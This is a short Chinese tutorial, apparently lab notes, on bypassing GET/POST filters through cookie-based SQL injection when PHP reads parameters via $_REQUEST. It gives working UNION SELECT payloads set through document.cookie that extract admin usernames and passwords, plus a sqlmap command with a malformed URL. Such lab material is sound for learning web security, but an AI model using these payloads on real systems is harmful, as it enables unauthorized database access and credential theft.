当某个get或post里的参数存在sql注入,但是被过滤了很多sql函数无法进行注入,如果不是用GET或POST进行传参用的是$_REQUEST函数来传参,REQUEST支持get,post,cookie传参(php 5.4以上版本不在支持cookie传参),如果只对get和post进行了过滤,而cookie的传参并没有过滤,那么就会产生危害,相当于无任何防护。
cookie注入的核心是传参的方式不同
如:
这是一个cookie注入的靶场
常规流程 -1测试是否存在注入,页面产生了改变证明跟数据库产生了交互
输入 and -1=-1 发现被过滤无法进行注入
尝试cookie注入,删除后面的传参页面报错
f12打开控制台
在cookie管理里输入刚才删除的参数id=171
刷新页面,页面正常,可以使用cookie传参
看看有没有注入,cookie注入需要将输入的内容url编码
and 1=2 页面报错,存在注入
每次输入都需要url编码会很繁琐,可以使用javascript来设置cookie
document.cookie=“id=”+escape(“171”)
escape是一个编码函数,这个函数会进行一次url编码
order by查看字段
存在10个字段
查看回显字段
access没有系统自带表,,需要强猜表名常见表名 user admin
document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")
document.cookie="id="+escape("171 union select 1,username,3,4,5,6,7,8,9,10 from admin")
document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")
python sqlmap.py -u "http//:www.fff.com/123.asp" --cookie "id=171" --level 2